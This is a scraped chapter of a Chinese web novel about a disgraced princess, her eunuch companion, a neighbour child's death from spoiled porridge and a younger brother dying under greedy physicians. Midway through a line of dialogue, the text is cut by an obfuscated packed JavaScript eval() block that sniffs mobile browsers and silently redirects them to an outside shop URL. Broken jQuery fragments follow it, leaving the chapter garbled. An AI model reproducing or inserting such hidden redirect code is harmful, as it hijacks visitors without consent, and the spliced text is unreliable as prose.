文趣网 > 都市小说 > 长公主她天天黑化 > 43. 第 43 章
    老妇在地上打着滚,嘶哑地吼道,“你们欺负我,你们这些身强力壮的男人,欺负我们孤儿寡母,你们要得报应的!不得好死!不得好死!!”

    这场闹剧持续了很久,能砸的东西尽数被砸了,清脆的碎裂声一阵接一阵,锅碗瓢盆都被摔碎了。到最后,一个男人半扶半架地带走了悲戚到不能走动的老妇,另一个还顺走了李瑛不少的柴火。

    李瑛环顾着这好不容易被他收拾出来有个家模样的房子,如今一片狼藉。

    她惶然地滑坐在地上,和同样跪在地上的江稚水面对着。

    “我这是怎么一回事儿啊?”她轻声问道,“江稚水,这是怎么一回事啊?”

    江稚水还是那副痴愣的样子,像被人抽了魂儿,他呆呆地跪在地上,也不说话。

    他不说话,李瑛也不能恼,她只问道,“你有没有?”

    江稚水猛地抬起眼帘,他知道李瑛询问的是什么。

    她在问,江稚水,你有没有私通。

    面对着眼前人这么一双无悲喜的眼眸,江稚水喉咙发紧,他几乎要放声尖叫起来,“我没有!!!”

    李瑛的眼是那样的冷淡,那样的疲倦,好似在看一个陌生人,一件死物。

    而不是与她朝夕相伴的.....

    噢,对了。

    他是什么呢?

    他到底算什么呢?

    友人?兄长?

    是了,是了,岁月太久,江稚水都快要忘掉了,他其实是李瑛的奴婢。

    这数年的颠沛流离,以及文霄堂多年依偎相伴,已经让他忘却了李瑛的身份。

    她是李瑛,姓李,从了皇室的玉字辈,她是大成皇帝李晟的嫡女。

    而他什么都不是,他是被刻意抹去的罪奴。

    他甚至都不配拥有一个真正的名字。

    江稚水连连摇头,他的心像是被一只大手蹂1躏了起来,本就脆弱的心壁迸裂出了无数细小的伤口,鲜血淋漓,心痛到不能自以。

    她不信他。

    她竟然不信他!

    江稚水眼圈通红,他梗着脖子,像是在拼命咽下抑制不住的呜咽,看着他的样子,李瑛忽然清醒了,她自嘲地笑了一下。

    是啊,江稚水一个黄门,他怎么私通呢?

    李瑛点了点头,她依旧那样的望着他,还是方才那副神情,他,“那她家孙儿的死与你有关吗?”

    他的心已经碎了一地,但是李瑛还是那样的冷静,几乎是居高临下地审问着他。

    江稚水紧紧闭着眼,抿紧了嘴唇。

    李瑛的音调提高了些,带着不容置疑的威压,她急切地问,“到底是有人想要蓄意害你,还是你自己放错了?”

    “江稚水,这事关于人命,不是孩童般的胡闹,你怎么这么不当心?!!说啊!快说啊!”

    她一步上前,将江稚水从地上提溜起来,几乎是咬牙切齿道,“江稚水,告诉我,快,告诉我是否和你有关!”

    江稚水再也无法沉默地流着眼泪了,他微微张开了嘴,如虚脱一样幽幽吐出一口气,脸色青白,满脸痛苦,他软绵绵地滑倒在地上。

    他伏在地上,肩膀剧烈地颤抖着,忽然放声恸哭起来,“怎么办!怎么办啊!公主!怎么办啊!李瑛!我好像真的杀人了”

    他忽然俯身呕吐起来,“我杀了一个孩子啊!”

    江稚水是经常流泪哭泣的,李瑛几乎已经厌倦了他无用的哭泣,他总是哭着问她,“怎么办啊?怎么办?”

    其实很多时候,比他还年幼两岁的李瑛,并不知道应该怎么办。

    但是这样类似于这种撕心裂肺、椎心泣血的哭泣,除了那年洛水河边,李瑛没有见到过。

    她舔了舔嘴唇,一时之间竟然觉得有点很无措。

    江稚水没有等到期盼中的拥抱和安慰,他的哭声更大了,语无伦次着,“我,我猜是那碗木耳粥的事."

    他的哭泣声断断续续,"不!我不知道,我真的不知道。木耳粥是我前一日做好,准备做午饭的,我喂米富吃下,他又发起烧来,全吐了,我收拾着,也没有心思去吃饭。”

    他喃喃道,“我准备热热作为晚膳,结果那家的妇人来了,她抱着那孩子来借盐,同我讲她的女儿病了,嘴里淡淡的没有味道,但是家里的盐都去换了布,想朝我讨一点,那孩子见我在热粥,便也闹着要吃。”

    江稚水掩面而泣,指缝里尽是泪水,“我……我见不得孩子那样……本来也不多,我就想着我今晚不吃也没事……”

    他痛苦地抱住脑袋,整个人蜷缩下去,“怎么会死啊!现在是大雪纷飞的冬天啊,木耳怎么会变质,怎么会啊!我要是知道这有毒,那我宁肯死的人是我啊!!!”

    他感觉自己的身子变得很沉,直直陷到地下去,一直坠到十八层无间地狱,他真的成了杀人犯。

    一个孩子啊,他竟然害死了一个孩子。

    李瑛的声音遥远的像是从天边传来,江稚水泪眼朦胧地张开眼,他听见她说,“当务之急,是要怎么赖掉这桩事。”

    “她带了尸首来吗?还是带了仵作的验状?”李瑛无波澜地看着他,语气平直,“她凭什么证明,这小童的死和你有关?”

    “这不关你的事,你听到了吗?你没有收那妇人的钱,江稚水,记住了,那孩子是在你拿盐的时候自己偷吃的,你根本不知道,这件事和你没有半分关系,你知道吗?”

    李瑛的声音平静得近乎残忍,她没有太多的情绪给这个她素昧蒙面的孩子。

    她只觉得头疼欲裂,为着米富的病,她这一年多的积蓄已然全部都砸了进去,现在兜比脸干净,米富后日的药钱都没有着落。

    若是江稚水要是因为这染上了官司,她那什么赔给家属?

    钱钱钱钱钱钱。

    其实一切都是绕不开这个“钱”字,她没有多余的同情心分给太多的人。

    江稚水瞪着眼看着李瑛,忽然又爆发出一声悲号,米富早就被吓傻了,又是吓得浑身一哆嗦。

    李瑛觉得这屋里闷得让她喘不过气,她一脚踹开了门。

    狂风裹挟着风雪吹了进来,雪粒子扑到李瑛的脸上、睫毛上,冰凉的触感被她滚烫的肌肤融化,让她混乱的思绪稍稍清明了几分。

    “你哭什么?”她顺着靴尖看向趴在地上狼狈的江稚水,“那你想怎么办?怎么偿还?”

    她眼里带着几分讥讽的笑意,“和那老妇说的一样,一命抵一命吗?还是什么?”

    李瑛摇了摇头,“我没有钱了。你怎么还?你告诉我你怎么还?”

    江稚水;“我自己还?”

    李瑛没有听清他说的什么,问,“你说什么?”

    他的情绪忽然激动了起来,“我说了,我自己还!我自己还!”

    听了这句话,李英头宛若头顶有闷雷轰地炸响。

    她恨极了这句话,恨极了,昔年雍州途中要依靠着江稚水卖身的所得之物,才能侥幸苟活,是她一生当中最屈辱的回忆之一。

    她以为自己可以忘却了。

    “闭嘴。”李瑛忽然捂着耳朵尖叫一声,江稚水被她癫狂的模样吓到了,他下意识的想要上前,却被情绪激动的李瑛一把推翻在地。

    江稚水狼狈地跌在地上,他近乎屈辱地看了一眼李瑛,随即双手掩面发出了凄绝的哭声。

    “你不许打阿兄!”米富从炕上跌跌撞撞地冲下来。

    李瑛刚想辩解,可话还没出口,就看见江稚水跟米富紧紧地抱成一团。

    江稚水的眼神带着一种不可置信和茫然的痛苦。

    米富如一只受伤的小兽,他哭泣着,“阿姊,阿姊,不要打人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714659|197014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    李瑛只觉得胸口猛地一堵,一口气直冲上来,她硬生生地压了下去,嗓子里却是一股腥甜,她忽然觉得浑身的力气都被抽空了。

    她疲惫地低头看着慕容丽的匕首,那匕首仍旧光洁锋利,在门外漫进来的雪光下泛着冷冷的光,这样好的东西,应该躺在垫着丝绸的楠木盒子里,而不是在这间杂乱简陋的屋子里。

    米富又咳嗽了起来,他弓起身子,一声比一声大,脸也涨红了起来,江稚水止住抽泣,慌忙抹了把眼泪,忙不迭地去顺他的后背。

    这三个月以来,李瑛已经习惯了他不间断地咳嗽,却见米富忽的脸色一变,随即眉头一皱,“哇”地呕出一滩血来。

    江稚水张大了嘴,一片夹杂着碎肉和血块的红彤彤在他素色的衣裳上迅速洇开,一片触目惊心。

    接下来的几日,李瑛和江稚水背着米富辗转在洛都的大街小巷,从城东到城西,从挂着“悬壶济世”牌匾的医馆,到打卦跳神的巫祠。

    她抱着米富瘦小的身躯,跪在一个又一个医师面前,乞求地说,“他才五岁,怎么就到了呕血的地步,你们给的药我们一副都不敢怠慢。”

    “从冬初开始,一副一副地熬,一日两副,从来没有断过,无论是多么金贵,多么离奇的药材,我们都费尽全力,砸锅卖铁都去搜罗了!”

    李瑛捉住江稚水地手,她急切道,“你们只是要煎三年的芦苇根做药引子,我阿兄每日天不亮就去洛河边挖,指甲都挖裂了。”

    那老人捋了捋胡子,叹息道,“不中用了,不中用了啊!”

    李瑛尖叫道,“怎么可能,怎么可能越治越不中用了?!”

    李瑛朝眼前胡子花白的老人跪下,她哀恳道,“求求您,求您了,我们这五日大大小小的医馆都跑遍了,无论是巫女还是医师,我们都见了不下数十位,我是真的没有办法了。”

    她在地上磕着头,“救救我阿弟吧,无论多少钱我都治啊!”

    在那以瞬间,李瑛需要一个数字,需要一个可以医治米富的数字,如果可以让他恢复如初。

    她愿意为此承担着代价,哪怕为奴为婢,做牛做马。

    老人打断了李瑛的哭声,摇了摇头,“五日之前刚呕血时,未必没得救。你们用那些药材反而不对病症,幼童为纯阳之体,本就有余热。我看了你给的药方,参、鹿茸大哪个不是大温大补?

    “反而火上浇油,消耗了孩子的元气,如今就是再喂药下去,他也克化不动了。”

    他伸出一根枯瘦的手指,点在怀里的米富的脉搏上,孩童的皮肤已经成了一种怪异的青绿色,脸上浮肿得泛着灰白。

    那些医馆根本不管他的病症,不仅名贵药材一味接一味地开,甚至笑眯眯地介绍着医术更为高超的同僚,她原以为那是因为米富病重,不敢轻易接受。

    原来是将他们开成了肥得流油的猪猡,转一层就扒一层皮,转一道手就刮一道油,层层盘剥,层层转手。

    以至于米富到了今日药石无医的境地,皆是拜他们所赐。

    痛不在自己身上,是感受不到的,她如今也算是设身处地体会到了那老妇的悲戚,恨天不开,恨地无门啊!

    那老妇尚且可以把一腔恨意发泄在江稚的身上。

    她该怎么讨?

    这厚厚一沓药方算是证据吗?他们之所以敢肆无忌惮,就是看出来了李瑛等人并不富裕,是布衣白丁,是升斗小民,不足为惧。

    就算将花去的银钱讨回来,那又怎样呢?米富再也回不来了。

    李瑛想起了那老妇的诅咒,这样恶毒的誓言难道真的要应验在米富了吗?

    他日若到黄泉之下,她无颜面对余氏夫妻啊!

    李瑛搂着瘦奄奄一息的米富,孩童的胸口微弱地起伏着,她癫狂大笑起来,“稚水啊,稚水!”